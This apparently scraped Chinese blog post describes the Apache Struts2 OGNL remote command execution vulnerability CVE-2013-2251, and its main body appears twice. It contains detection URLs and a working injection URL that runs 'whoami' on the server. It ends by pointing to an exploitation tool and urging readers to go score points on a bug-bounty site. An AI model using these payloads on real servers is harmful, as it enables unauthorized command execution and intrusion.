Apache Struts2 远程命令执行漏洞
2013-07-19 16:10
826 查看
本人WEB渗透不行,最近在SARS大牛的指导下正在飞速成长。记录下成长的点滴。
在Apache Struts 2.3.15.1版本(北京时间:2013-07-15)发布的时候,公开了一个新的远程命令执行漏洞,允许攻击者在访问使用Struts2的应用时远程执行OGNL表达式,该漏洞影响2.3.15.1之前的所有Struts2版本。影响版本:Apache Struts2 2.3.15.1 以前版本(不含)漏洞描述:CVE ID: CVE-2013-2251Struts 2 的 DefaultActionManager 支持一种简单的导航机制,这种机制接收客户端提交(GET和POST,不包括COOKIE)的参数来进行页面的导航,参数格式为:关键字+冒号(半角)+OGNL表达式,关键字有action、redirect、redirectAction。设计此机制的目的是为了向表单中的按钮添加导航信息。在 2.3.15.1 以前的版本中,服务器端并未对这种导航机制传递给服务端的OGNL表达式进行安全过滤。因此,攻击者就可以构造一个恶意的 OGNL 表达式,从而能够在服务器端执行任意代码。各关键字的含义如下:action - 表示把表达式的执行结果作为Action来处理redirect - 表示把表达式的结果作为重定向的URL来强制客户端跳转(302跳转)redirectAction - 表示把表达式的结果后追加一个.action后作为重定向的URL来强制客户端跳转(302跳转)测试示例:1. 漏洞检测方法: 在URL中追加如图所示代码,如果存在问题,会返回对应的HTTP状态码。示例:http://www.example.com/home.action?action:%25{'exploit'} 返回404错误http://www.example.com/home.action?redirect:%25{3*4} 返回302,在响应头的Location头域中指定跳转目标URL为12http://www.example.com/home.action?redirectAction:%25{3*4} 返回302,在响应头的Location头域中指定跳转目标URL为12.action
2. 利用漏洞执行命令方法:这里调用系统命令whoami来查询服务器的当前用户名,由于采用的是redirect关键字,页面将会重定向到由该关键字对应的OGNL表达式执行结果所指向的页面,在这个示例中,跳转的目标页面的URL就是当前用户名。示例:http://www.example.com/home.action?action:%25{new%20java.lang.StringBuffer().append(new%20java.io.BufferedReader(new%20java.io.InputStreamReader(new+java.lang.ProcessBuilder({'whoami'}).start().getInputStream())).readLine())}
最后附上利用工具,孩子们去乌云刷分玩吧 。Apache Struts 2.3.15.1漏洞利用工具
在Apache Struts 2.3.15.1版本(北京时间:2013-07-15)发布的时候,公开了一个新的远程命令执行漏洞,允许攻击者在访问使用Struts2的应用时远程执行OGNL表达式,该漏洞影响2.3.15.1之前的所有Struts2版本。影响版本:Apache Struts2 2.3.15.1 以前版本(不含)漏洞描述:CVE ID: CVE-2013-2251Struts 2 的 DefaultActionManager 支持一种简单的导航机制,这种机制接收客户端提交(GET和POST,不包括COOKIE)的参数来进行页面的导航,参数格式为:关键字+冒号(半角)+OGNL表达式,关键字有action、redirect、redirectAction。设计此机制的目的是为了向表单中的按钮添加导航信息。在 2.3.15.1 以前的版本中,服务器端并未对这种导航机制传递给服务端的OGNL表达式进行安全过滤。因此,攻击者就可以构造一个恶意的 OGNL 表达式,从而能够在服务器端执行任意代码。各关键字的含义如下:action - 表示把表达式的执行结果作为Action来处理redirect - 表示把表达式的结果作为重定向的URL来强制客户端跳转(302跳转)redirectAction - 表示把表达式的结果后追加一个.action后作为重定向的URL来强制客户端跳转(302跳转)测试示例:1. 漏洞检测方法: 在URL中追加如图所示代码,如果存在问题,会返回对应的HTTP状态码。示例:http://www.example.com/home.action?action:%25{'exploit'} 返回404错误http://www.example.com/home.action?redirect:%25{3*4} 返回302,在响应头的Location头域中指定跳转目标URL为12http://www.example.com/home.action?redirectAction:%25{3*4} 返回302,在响应头的Location头域中指定跳转目标URL为12.action
2. 利用漏洞执行命令方法:这里调用系统命令whoami来查询服务器的当前用户名,由于采用的是redirect关键字,页面将会重定向到由该关键字对应的OGNL表达式执行结果所指向的页面,在这个示例中,跳转的目标页面的URL就是当前用户名。示例:http://www.example.com/home.action?action:%25{new%20java.lang.StringBuffer().append(new%20java.io.BufferedReader(new%20java.io.InputStreamReader(new+java.lang.ProcessBuilder({'whoami'}).start().getInputStream())).readLine())}
最后附上利用工具,孩子们去乌云刷分玩吧 。Apache Struts 2.3.15.1漏洞利用工具
相关文章推荐
- Apache Struts2远程命令执行漏洞呈爆发趋势
- 关于Apache Struts2 新增远程命令执行高危漏洞的情况通报
- Apache Struts2 多个前缀参数远程命令执行漏洞及测试方法
- 9.漏洞验证系列--Apache Struts2 远程命令执行(S2-045)
- Apache Struts2 includeParams属性远程命令执行漏洞(CVE-2013-1966)
- CVE-2017-9805:Struts2 REST插件远程执行命令漏洞(S2-052) 分析报告
- Struts2 REST插件远程执行命令漏洞全面分析,WAF支持检测防御
- 利用最新struts2远程执行命令漏洞渗透网站的演示
- struts2远程命令执行漏洞S2-045
- CVE-2017-9805:Struts2 REST插件远程执行命令漏洞(S2-052) 分析报告
- Apache shiro 1.2.4版本远程命令执行漏洞详解
- struts2-045远程命令执行漏洞
- 【高危漏洞预警】CVE-2017-9805:Struts2 REST插件远程执行命令漏洞(S2-052)
- Apache Struts远程命令执行漏洞、开放式式重定向漏洞
- Struts2远程命令执行漏洞
- 漏洞--Struts2远程命令执行S2-016
- CVE-2017-9805:Struts2 REST插件远程执行命令漏洞(S2-052) 分析报告
- 【S2-052】Struts2远程命令执行漏洞(CVE-2017-9805)
- struts2远程命令执行漏洞
- Struts2再爆远程命令执行漏洞![W3bSafe]Struts2-048 Poc Shell及防御修复方案抢先看!